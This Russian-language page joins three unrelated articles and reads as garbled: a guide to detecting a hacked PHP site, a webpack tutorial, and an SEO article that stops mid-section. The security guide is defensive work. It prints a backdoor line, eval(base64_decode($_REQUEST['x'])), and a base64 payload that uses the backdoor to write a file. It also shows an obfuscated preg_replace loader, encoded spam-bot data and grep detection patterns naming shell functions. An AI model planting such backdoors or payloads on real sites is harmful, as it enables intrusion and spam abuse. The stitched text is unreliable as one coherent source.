Как узнать, что ваш PHP сайт был взломан

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов

Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов

Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7

Мой взломанный сервер возвратил такие результаты:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом

Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("

Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
 
FILE GOES ON FOR A LONG TIME......
 
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");

preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:

find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color

Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt

С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

find . -type f -name '*.php' | xargs grep -il x29

Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

Он обнаружил вредоносный код!

Из любопытства…

Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода

Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'

Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod +x search_for_php_in_writable

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";
    }
    register_shutdown_function("shutdownCallback");
}

Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

grep -i '<iframe' mywebsite.txt

Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите ‘Search’. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

Проверьте .htaccess файлы, если вы используете Apache

Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;

Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат ‘http’. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '\.htaccess' | xargs grep -i http;

Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой запятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «реальном мире»

Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

Array
(
    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
 
    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha
)

Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.

Пособие по webpack

Давайте сначала разберемся, зачем нужен вебпак (webpack), и какие проблемы он пытается решить, а потом научимся работать с ним. Webpack позволяет избавиться от bower и gulp/grunt в приложении, и заменить их одним инструментом. Вместо bower’а для установки и управления клиентскими зависимостями, можно использовать стандартный Node Package Manager (npm) для установки и управления всеми фронтэнд-зависимостями. Вебпак также может выполнять большинство задач grunt/gulp’а.

 

Bower это пакетный менеджер для клиентской части. Его можно использовать для поиска, установки, удаления компонентов на JavaScript, HTML и CSS. GruntJS это JavaScript-утилита командной строки, помогающая разработчикам автоматизировать повторяющиеся задачи. Можно считать его JavaScript-альтернативой Make или Ant. Он занимается задачами вроде минификации, компиляции, юнит-тестирования, линтинга и пр.

Допустим, мы пишем простую страницу профиля пользователя в веб-приложении. Там используется jQuery и библиотеки underscore. Один из способов — включить оба файла в HTML:

 

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>User Profile</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.css" media="screen">
    <link rel="stylesheet" href="/css/style.css" media="screen">
  </head>
  <body>
    <div class="container">
      <div class="page-header">
        <h1 id="timeline"></h1>
      </div>
      <ul class="timeline">
      </ul>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js"></script>
    <script src="js/profile.js"></script>
  </body>
</html>

 

Это простой HTML с Бутстрапом. Мы подключили jQuery и underscore с помощью тега script.

 

Давайте рассмотрим файл profile.js, который использует подключенные нами библиотеки. Наш код лежит внутри анонимного замыкания, которое хранит бизнес-логику приложения. Если не замыкать код в функцию, то переменные будут находиться в глобальном окружении, и это плохо.

 

(function(){
  var user = {
    name : "Shekhar Gulati",
    messages : [
      "hello",
      "bye",
      "good night"
    ]
  };

  $("#timeline").text(user.name+ " Timeline");

  _.each(user.messages, function(msg){
    var html = "<li><div class='timeline-heading'><h4 class='timeline-title'>"+msg+"</h4></div></li>";
    $(".timeline").append(html);
  });

}());

 

Код будет исполнен при вызове скрипта. Если открыть страницу в браузере, то профиль будет выглядеть так.

 

 

У этого кода две задачи:

 

  1. получить информацию о пользователе
  2. настроить таймлайн.

 

Известно, что смешивать понятия — плохая практика, так что нужно написать отдельные модули, отвечающие за определенные задачи. В файле profile.js мы использовали анонимное замыкание для хранения всего кода. В JavaScript есть способы делать модули получше. Два популярных способа это CommonJS и AMD.

 

  • Модуль CommonJS это грубо говоря кусок повторно используемого кода, который экспортирует определенные объекты, и они становятся доступными другим модулям с помощью require.
  • Asynchronous Module Definition (AMD) позволяет загружать модули асинхронно.

 

Если хотите узнать о модулях в JavaScript больше, то советую прочитать статью JavaScript Modules: A Beginner’s Guide.

 

А в этой статье мы будем писать модули на CommonJS. Давайте напишем модуль timeline с методами для установки хедера и таймлайна. В CommonJS можно импортировать зависимости с помощью функции require. Таймлайн зависит от jquery и underscore.

 

var $ = require('jquery');
var _ = require('underscore');

function timeline(user){
  this.setHeader = function(){
      $("#timeline").text(user.name+ " Timeline");
  }

  this.setTimeline = function(){
    _.each(user.messages, function(msg){
      var html = "<li><div class='timeline-heading'><h4 class='timeline-title'>"+msg+"</h4></div></li>";
      $(".timeline").append(html);
    });
  }
}

module.exports = timeline;

 

Этот код создает новый модуль timeline. Есть две функции: setHeader и setTimeline. Мы используем специальный объект module и добавляем ссылку на нее в module.exports. Таким образом мы сообщаем модульной системе CommonJS, что хотим позволить другим функциям использовать модуль.

 

Теперь обновим profile.js, он должен использовать модуль timeline. Можно создать новый модуль, который будет загружать информацию о пользователе, но пока давайте ограничимся одним модулем.

 

var timeline = require('./timeline.js');
var user = {
  name : "Shekhar Gulati",
  messages : [
    "hello",
    "bye",
    "good night"
  ]
};

var timelineModule = new timeline(user);
timelineModule.setHeader(user);
timelineModule.setTimeline(user);

 

Если загрузить index.html в браузере, то отобразится пустая страница. В консоли (в developer tools) можно обнаружить ошибку:

 

profile.js:1 Uncaught ReferenceError: require is not defined

 

Проблема в том, что браузеры не понимают модульную систему вроде CommonJS. Нужно предоставить браузеру формат, который он ожидает.

 

Бандлеры модулей идут на помощь

 

Веб-браузеры не понимают эти хорошо описанные модули. Нужно или добавить весь JavaScript-код в один файл и импортировать его, или нужно добавить все файлы вручную на страницу с помощью тега script. Используем бандлер модулей (module bundler) для решения этой проблемы. Бандлер модулей комбинируют разные модули и их зависимости в один файл в правильном порядке. Он может парсить код, написанный с использованием разных модульных систем, и комбинировать в один формат, понятный браузеру. Два популярных бандлера модулей это:

 

  1. browserify: пакует npm-модули, чтобы потом использовать их в браузере. В случае с browserify приходится дополнительно подключать Grunt или Gulp для линтинга, запуска тестов и пр. Это значит, что нужно тратить время на работу с несколькими инструментами и интеграцией.
  2. webpack: система сборки, которая предоставляет не только бандлинг (компоновку) модулей, но и может выполнять задачи, которыми занимаются Gulp/Grunt. К тому же, вебпак не ограничивается JavsScript-файлами, он может работать с другой статикой вроде CSS, картинок, html-компонентов и др. Вебпак также поддерживает очень полезную фичу — code splitting (разбиение кода). Большое приложение можно разбить на куски, которые загружаются по мере необходимости.

 

Что такое вебпак?

 

Официальное определение звучит так:

 

webpack берет модули с зависимостями и генерирует статические ресурсы, которые представляют эти модули

Это определение теперь имеет смысл, когда понятна решаемая проблема. Вебпак берет набор ресурсов и трансформирует их в наборы (бандлы).

 

 

Трансформацией ресурсов занимаются загрузчики, которые являются сердцем вебпака.

 

Вебпак в действии

 

Для установки вебпака нужен node. Можно скачать node с официального сайта.

 

Теперь можно установить вебпак глобально:

 

$ npm install -g webpack

 

Создайте новый модуль командой npm init. Она создаст файл package.json. Установите зависимости с помощью npm.

 

$ npm install -S jquery
$ npm install -S underscore

 

В дополнение, нужно установить вебпак как зависимость.

 

$ npm install -S webpack

 

Замените index.html следующим кодом. Как видите, мы удалили все теги script для jquery и underscore. Также, вместо импорта js/profile.js импортируется dist/bundle.js.

 

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>User Profile</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.css" media="screen">
    <link rel="stylesheet" href="/css/style.css" media="screen" title="no title">

  </head>
  <body>

    <div class="container">
      <div class="page-header">
        <h1 id="timeline"></h1>
      </div>
      <ul class="timeline">
      </ul>

    </div>

    <script src="dist/bundle.js" charset="utf-8"></script>
  </body>
</html>

 

Давайте создадим бандл.

 

$ webpack js/profile.js dist/bundle.js

 

Hash: 6d83c7db8ae0939be3d0
Version: webpack 1.13.2
Time: 350ms
    Asset    Size  Chunks             Chunk Names
bundle.js  329 kB       0  [emitted]  main
   [0] ./js/profile.js 252 bytes {0} [built]
   [1] ./js/timeline.js 427 bytes {0} [built]
    + 2 hidden modules

 

Теперь страница работает нормально.

 

Можно сделать так, чтобы вебпак следил за изменениями и генерировал бандл автоматически. Для этого нужно запустить его с таким флагом:

 

$ webpack -w js/profile.js dist/bundle.js

 

Теперь вебпак не будет завершаться сам. При изменении файлов будет генерироваться новый бандл. Нужно лишь перезагрузить страницу в браузере. Давайте изменим profile.js:

 

var user = {
  name : "Shekhar Gulati!!!",
  messages : [
    "hello",
    "bye",
    "good night"
  ]
};

 

Файл bundle.js, сгенерированный вебпаком, содержит много кода, относящегося к самому вебпаку, а ваш код там будет в измененном виде. Будет очень неудобно отлаживать приложение в браузере, в инструментах разработчика, например. Чтобы упростить себе жизнь, можно запустить вебпак с флагом devtools.

 

$ webpack -w --devtool source-map js/profile.js dist/bundle.js

 

Вебпак сгенерирует source map для файла bundle.js. Source map связывает минимизированный и собранный в один файл код с исходным, несобранным кодом. Для тестирования можно добавить строчку debugger в profile.js

 

var timeline = require('./timeline.js');
var user = {
  name : "Shekhar Gulati",
  messages : [
    "hello",
    "bye",
    "good night"
  ]
};

debugger;
var timelineModule = new timeline(user);
timelineModule.setHeader(user);
timelineModule.setTimeline(user);

 

Перезагрузите страницу, и приложение остановится на этой строке.

 

 

Добавление CSS

 

В HTML выше видно, что мы загружаем /css/style.css. Вебпак умеет работать не только с JavaScript, но и с другой статикой, в том числе CSS. Удалите строку с /css/style.css из index.html. Мы будем подключать стили в profile.js таким образом:

 

require('../css/style.css');

var timeline = require('./timeline.js');
var user = {
  name : "Shekhar Gulati",
  messages : [
    "hello",
    "bye",
    "good night"
  ]
};

var timelineModule = new timeline(user);
timelineModule.setHeader(user);
timelineModule.setTimeline(user);

 

вебпак перезагрузит изменения, и мы увидим сообщение об ошибке в консоли:

 

ERROR in ./css/style.css
Module parse failed: /Users/shekhargulati/dev/52-technologies-in-2016/36-webpack/code/css/style.css Unexpected token (1:0)
You may need an appropriate loader to handle this file type.

 

Проблема в том, что вебпак не понимает CSS по умолчанию. Нужно установить пару загрузчиков для этого. Вот команда для установки необходимых загрузчиков:

 

$ npm install style-loader css-loader --save-dev

 

Вебпак использует загрузчики для трансформации текста в нужный формат. Теперь нужно обновить require:

 

require('style!css!../css/style.css');

 

Синтаксис style!css! означает, что сначала нужно применить трансформацию css для конвертации текста из style.css в CSS, а потом применить стиль к странице с помощью трансформации style.

 

Запустите вебпак снова.

 

$ webpack -w --devtool source-map js/profile.js dist/bundle.js

 

Конфигурация

 

Чтобы не указывать все опции в командной строке, можно создать конфигурационный файл webpack.config.js в корне приложения:

 

module.exports = {
  context: __dirname,
  devtool: "source-map",
  entry: "./js/profile.js",
  output: {
    path: __dirname + "/dist",
    filename: "bundle.js"
  }
}

 

Теперь можно запускать вебпак простой командой webpack -w.

 

Когда мы добавили style!css! в profile.js, мы смешали продакшен-код с конфигурацией вебпака. Можно перенести эту опцию в файл конфигурации.

 

После изменений конфигурации нужно перезапускать вебпак.

 

var webpack = require('webpack');

module.exports = {
  context: __dirname,
  devtool: "source-map",
  entry: "./js/profile.js",
  output: {
    path: __dirname + "/dist",
    filename: "bundle.js"
  },
  module:{
    loaders: [
      {test : /\.css$/, loader: 'style!css!'}
    ]
  }
}

 

Самая интересная секция тут это декларация модулей. Тут мы указали, что если файл заканчивается на .css, то нужно применять трансформацию style!css!.

 

Горячая перезагрузка

 

Для горячей перезагрузки (hot reloading) нужен webpack-dev-server. Установите его так:

 

$ npm install -g webpack-dev-server

 

Теперь можно запускать сервер командой webpack-dev-server.

 

Мы запустим сервер по адресу http://localhost:8080/webpack-dev-server/ с конфигурацией из webpack.config.js.

 

Порт можно изменить опцией --port.

 

$ webpack-dev-server --port 10000

 

 http://localhost:10000/webpack-dev-server

 

Конфигурацию webpack-dev-server также можно указать в файле webpack.config.js, в секции devServer.

 

module.exports = {
  context: __dirname,
  devtool: "source-map",
  entry: "./js/profile.js",
  output: {
    path: __dirname + "/dist",
    filename: "bundle.js"
  },
  module:{
    loaders: [
      {test : /\.css$/, loader: 'style!css!'}
    ]
  },
  devServer: {
    inline:true,
    port: 10000
  },
}

SEO оптимизация. Начало

Множество информации по SEO (оптимизация, продвижение, вот это вот все) разбросано по просторному интернету, создано множество статей и форумных топиков на эту тему. В данном посте, я собрал рекомендации и инструменты, которые касаются непосредственной страницы сайта (структура, код, вот это вот все).

В статье вы найдете:

  • структурные элементы страницы: заголовки, картинки, URL, контент. Рекомендации по их использованию и оценки важности в ранжировании.
  • микроразметка: кто она и с чем ее едят. Рассмотрены schema.org и OpenGraph
  • дана оценка инструментам с точки зрения важности для ранжирования, usability или же поведенческих факторов
  • на примере крупный процветающих сайтов рассмотрены примеры использования описанного инструментария

Статья носит образовательный характер, и поэтому даже если вы собаку съели в данной области, можете зайти и оставить свой профессиональный комментарий и оценку содержания поста.

INTRO

Прежде чем перейти к рассмотрению структуры страницы и ее элементов с точки зрения SEO, сделаем оговорку: SEO не только на этих факторах строиться. Помимо структуры важны также доменные, ссылочные, брендовые и пр. факторы ранжирования (подробнее).

ОЦЕНКА ФАКТОРОВ

Каждый фактор оценивается с точки зрения трех параметров:

  • ранжирование (range) — если фактор влияет на продвижение в топе
  • удобство использования (usability) — если фактор облегчает какие-либо действия для пользователя
  • поведение (behavior) — если фактор «заставляет» пользователя выполнить целевое действие

 

ЗАГОЛОВОК (title)

Behavior: +
Range: +
Usability: +

Заголовок — это «лицо» страницы, он описывает ее содержания, суть. Но помимо этого, заголовок может влиять на SEO. Наличие ключевых в заголовке может положительно повлиять на релевантность страницы. Соответствие заголовка ключевому запросу и правильная формулировка могут сделать ссылку более заметной и привлекательной для посетителей, что в свою очередь повысит CTR (кликабельность).

Применение:

  • Информирование посетителей о содержании страницы.
  • Заголовок (анкор) страницы в результатах поиска.

Рекомендации:

  • Длина заголовка до 100 символов;
  • Размещайте ключевые слова вначале заголовка;
  • Используйте меньше прямых перечислений ключевых слов;
  • Исключайте повторяющиеся части или оставляйте их в конце заголовка;
  • Соблюдайте единообразие в названии страниц;
  • Заголовок должен быть интересным для посетителя;
  • Не используйте редкие, сложные или иносказательные фразы — заголовок должен быть простым и понятным.

Примеры

Эльдорадо ( www.eldorado.ru/cat/detail/71092574 ):

MICROSOFT Office 365 Personal (1 год) – купить программу microsoft Office 365 Personal (1 год), цена, отзывы. Продажа программ microsoft в интернет-магазине ЭЛЬДОРАДО

Шаблон:

{производитель} {продукт} – купить {категория} {продукт}, цена, отзывы. Продажа {категория} {производитель} в интернет магазине ЭЛЬДОРАДО

Lenta.ru ( lenta.ru/articles/2016/08/16/pension ):

Где правительство найдет деньги на повышение пенсий: Госэкономика: Финансы: Lenta.ru

Шаблон:

{название}: {подкатегория}: {категория}: Lenta.ru

 

ОПИСАНИЕ (meta: description)

Behavior: +
Range: +

Description должно содержать краткое, емкое и актуальное описание страницы. Описание должно быть таким, чтобы пользователь заинтересовался и ему захотелось кликнуть по нему. Для этого можно использовать релевантные, привлекательные слова, побуждающие к действию предложения.

Применение:

  • Формирование сниппета (описание в поисковой выдаче)

Рекомендации:

  • описание не более 160 символов
  • описание должно соответствовать конкретной веб-странице, а не всему сайту
  • описание должно быть простым, понятным без чрезмерного употребления ключевых слов/фраз

Примеры

Эльдорадо ( www.eldorado.ru/cat/detail/71092574 ):

Купить программу MICROSOFT Office 365 Personal (1 год) в интернет-магазине ЭЛЬДОРАДО с доставкой и гарантией. Ознакомиться с ценами, отзывами владельцев, фотографиями, техническими характеристиками и подробным описанием программы microsoft Office 365 Personal (1 год)

Шаблон:

